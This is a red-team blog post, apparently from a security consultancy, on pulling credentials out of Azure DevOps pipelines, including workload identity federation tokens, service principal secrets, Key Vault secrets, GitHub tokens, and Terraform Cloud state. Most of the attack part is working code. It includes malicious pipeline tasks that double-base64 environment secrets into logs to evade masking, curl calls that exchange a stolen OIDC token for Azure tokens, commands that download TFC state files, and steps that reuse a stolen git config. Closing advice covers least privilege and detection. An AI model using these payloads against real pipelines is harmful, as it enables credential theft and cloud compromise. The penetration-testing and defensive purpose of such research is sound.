Breaking Down Azure DevOps: Techniques for Extracting Pipeline Credentials

Introduction

DevOps environments are often a popular target for attackers in any environment due to their inherent sensitivity. Access to sensitive source code repositories, highly privileged credentials and the opportunity to execute code onto pipeline runners offers promise to serve as the basis for a very successful engagement! However, with the vast amount of technologies and components making up these “loosely-coupled” environments driving the micro-services trend it can be daunting to approach the task of abusing these systems to achieve your objectives. A popular solution adopted by organisations of all sizes is Azure DevOps which serves as a respectable alternative to other solutions such as Jenkins. Development pipelines are often used along side Infrastructure as Code (IaC) solutions such as Terraform to manage the creation and configuration of resources in a repeatable and reliable way. This can add an additional layer of complexity itself since an organisation will have to architect a secrets management solution for both their pipeline identities and Terraform state files. One possible solution for state management is through the use of Terraform Cloud (TFC)¹.

Until very recently the only option to allow pipeline identities to authenticate to remote services was by creating some sort of secret usually a username and password or sometimes by providing an access token. An organisation would then need to figure out a secure way to provide this secret to the pipeline identity, handle automatic rotation, tightly scope its permissions or perform some other sort of management in a centralised and visible way. This was very easy to understand from an attackers perspective - often leading to insecure credential storage with developers hardcoding secrets within code repositories. Alternatively, if using Azure DevOps this might be within an external credential store such as Azure KeyVault (AKV). Therefore, the path was clear - access KeyVault and compromise the credentials. However, with modern authentication protocols such as Open ID Connect (OIDC) this has changed the attack surface and will change how attackers approach these environments.

OIDC is an ever-increasingly popular authentication protocol used to standardise the process of authenticating and authorising users when they sign in to access digital services. Probably the most well-known use of OIDC is the ability to use existing email or social media accounts to sign in to third-party sites rather than creating a new username and password.

However, OIDC is now making itself more prevalent in DevOps environments with the implementation of “Workload Identity Federation”^{2 3}. Workload Identity Federation seems to offer a solution to all of the problems discussed above but how does it really work? This post aims to explore how attackers can abuse ADO pipelines to extract credentials from pipeline identities and those using Workload Identity Federation and how this can be used to gain access to additional services including Azure Resource Manager (ARM) and TFC.

Assumed Compromised - Azure DevOps

Ok with the introduction over, let’s set the scene. Let’s assume we’ve got a cloud environment that is using ADO to automate the deployment of resources into an Azure tenant. As part of that ADO has been integrated with GitHub where repositories are hosted that contain the Terraform code deploying the broader environment’s infrastructure. As part of this scenario, we will also make the following assumptions:

• You have write access to a single repository that is linked to an ADO pipeline
• This repository contains some Terraform code for deploying resources into an Azure environment
• The environment uses TFC for state file management
• You do NOT have access to TFC

Within ADO, the recommended way to allow pipelines to authenticate to third-party resources such as ARM, GitHub, Docker, Bitbucker etc. is to use Service Connections⁴. A list of some available service connections can be seen below:

In order to allow Terraform to deploy resources in Azure, the pipeline agent will need access to an Azure Resource Manager (ARM) service connection. Before proceeding, it is important to understand the different types of ARM Service Connections. Firstly, there is the “secret” credential type which as you can probably imagine, uses a client_id and client_secret of a Service Principal to authenticate to resources. Secondly, there is “workload identity federation”⁵. This is Microsoft’s newer type of authentication flow and as previously mentioned, aims to reduce overhead of password management such as storage, handling and rotation. This allows a pipeline agent to connect to ARM (or any other service i.e. GitHub) using short-lived tokens. While this type of OIDC flow can give the appearance that there are no credentials used by the agent that can be compromised by an attacker, this is commonly misunderstood. There are two main ways an attacker with access to push malicious code to the pipeline can subvert this authentication flow:

1. Extract the federated identity credentials used by the agent
2. Connect directly to Azure resources

Let’s go through both scenarios and explore how an attacker might be able to gain access to the sensitive credentials.

- task: AzureCLI@2
  inputs:
    targetType: inline
    addSpnToEnvironment: true
    scriptType: bash
    scriptLocation: inlineScript
    azureSubscription: <Service Connection Name>
    inlineScript: sh -c "env | grep \"idToken\" | base64 -w0 | base64 -w0; echo;"

base64 -d <<< $token | base64 -d

idToken=eyJ0eXAiOiJKV1QiLCJhbGciOi[...]

{
    "alg": "RS256",
    "kid": "ED1C1ACAF8970EA85FB33D7A47A94E9AC5989520",
    "typ": "JWT",
    "x5t": "7RwayviXDqhfsz16R6lOmsWYlSA"
}
{
    "aud": "api://AzureADTokenExchange",
    "exp": 1735912042,
    "iat": 1735911443,
    "iss": "https://vstoken.dev.azure.com/a0195c04-d91e-47ce-8574-14ce3f468f6c",
    "jti": "04730b11-0e82-4761-8436-4a4c570370d2",
    "nbf": 1735910843,
    "sub": "sc://Reversec-organization/Reversec-project/Reversec-service-connection"
}

TENANT=""
CLIENTID=""
idToken=""

curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: login.microsoftonline.com:443' \
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1818' \
-d "scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&client_id=${CLIENTID}&client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=${idToken}&grant_type=client_credentials" \
"https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token"

az login --service-principal -u $CLIENTID --tenant $TENANT --federated-token $idToken

ORGANIZATION=""
TOKEN=""

curl --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
--request GET \
"https://app.terraform.io/api/v2/organizations/$ORGANIZATION/workspaces" | jq '.data[].attributes.name'

WORKSPACE=""

curl --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
"https://app.terraform.io/api/v2/state-versions?filter%5Bworkspace%5D%5Bname%5D=$WORKSPACE&filter%5Borganization%5D%5Bname%5D=$ORGANIZATION" | grep -i "hosted-state-download-url"

StateVersion=""

curl -L --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
"https://app.terraform.io/api/state-versions/$StateVersion/hosted_json_state" | jq

"resources": [
{
  "mode": "managed",
  "type": "scaffolding_example",
  "name": "example",
  "provider": "provider[\"registry.terraform.io/malicious/provider\"]", <------
  "instances": [
  ]
},

- task: AzureCLI@2
  inputs:
    targetType: inline
    addSpnToEnvironment: true
    scriptType: bash
    scriptLocation: inlineScript
    azureSubscription: <Service Connection Name>
    inlineScript: sh -c "env | grep \"^servicePrincipal\" | base64 -w0 | base64 -w0; echo;"

servicePrincipalId=d7768[...]
servicePrincipalKey=~MN8Q~[...]

steps:
- task: AzureKeyVault@2
  inputs:
    azureSubscription: <subscription name>
    KeyVaultName: <key vault name>
    connectedServiceName: <service connection name>
    SecretsFilter: '*' 
    RunAsPreJob: true 
- script: sh -c "env | base64 -w 0"
  env:
    <name of secret>: $(<name of secret>)

steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: '<your-service-connection-name>' # Yes this is the name of the service connection and not the subscription - Microsoft can not name input parameters consistently
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # Set Key Vault name
      KEYVAULT_NAME="<your-keyvault-name>"

      # List all secret names
      az keyvault secret list --vault-name $KEYVAULT_NAME --query "[].name" -o tsv
	  az keyvault key list --vault-name $KEYVAULT_NAME --query "[].name" -o tsv

resources:
  repositories:
    - repository: ReversecTesting # Value does not matter. Only used as a reference
      type: github
      name: <GitHub Repo Name> # Takes format OrgOrUser/RepoName i.e. ReversecLabs/drozer
      ref: refs/tags/v2.4.0
      endpoint: "" # Name of GitHub Service Connection

steps:
- checkout: ReversecTesting
  persistCredentials: true
- task: Bash@3
  inputs:
    targetType: inline
    script: sh -c "cat .git/config | base64 -w0 | base64 -w0; echo;"

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        longpaths = true
[remote "origin"]
        url = https://github.com/[...]
        fetch = +refs/heads/*:refs/remotes/origin/*
[gc]
        auto = 0
[http]
        version = HTTP/1.1
[http "https://github.com/[...]"]
        extraheader = AUTHORIZATION: basic [...]

git init
# Add your compromised config - $ vim ./.git/config
git fetch --force --tags --prune --prune-tags --progress --no-recurse-submodules origin
git pull origin main

Closing thoughts

In order to actually carry out these attacks, knowledge of the Service Connection name is required, which is not always trivial to get. Without this, an attacker would be unable to use a specific Service Principal and therefore extract its credentials. While typically an attacker would need privileged access to ADO to view all available Service Connections, they would likely be able to achieve this by looking into source code or commit history within GitHub (or Azure Repos) or looking at previous pipeline runs.

In conclusion, while Azure DevOps and Workload Identity Federation offer streamlined solutions for managing and securing DevOps environments, they also introduce new vectors for potential security breaches. The shift towards ‘credential-less’ authentication does not eliminate the presence of credentials altogether, but rather abstracts them, necessitating a deeper and more nuanced approach to security in DevOps practices. It is crucial for organisations to remain vigilant and proactive in identifying and mitigating these risks. Use of Workload Identity Federation alone is not enough to secure your privileged identities. All too often we see customers using one Service Principal across all their pipelines for both dev and production environments, leading to trivial privilege escalation opportunities. Proper segmentation and separation of duties, adhering to the principle of least privileged should always be followed. This will be adopted differently depending on each environment, but at minimum different principals should be used for production and non-production environments. In an ideal world however, there would be separate identities per workload.

Lastly, ensuring effective monitoring solutions are in place to detect against these types of attacks is never a bad thing. Obviously, the feasibility of this depends on whether you are using ephemeral or self-hosted runners, which is why the trade off of each should be considered carefully. If possible, Microsoft Conditional Access for workload identities¹⁷ is a great way to further harden Service Principals by preventing them from being used from outside of defined/ trusted network locations. But this does come at additional licensing costs. Also, if an attacker has the ability to execute code on your pipeline to extract credentials for these identities, they could just as easily establish a SOCKS proxy on the pipeline agent to proxy their requests through to ensure they are adhering to the Conditional Access rules. As such, in addition to any preventative measures in place, organisations need to also build out detections to flag potentially anomalous activities from these service principals so that they can be investigated and a security incident can be raised if unexpected actions are observed.

References

• synacktiv - CI/CD secrets extraction, tips and tricks
• IBM - Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules
• GitHub - Terraform Provider Statefile RCE
• Reversec - Cloud Security Wiki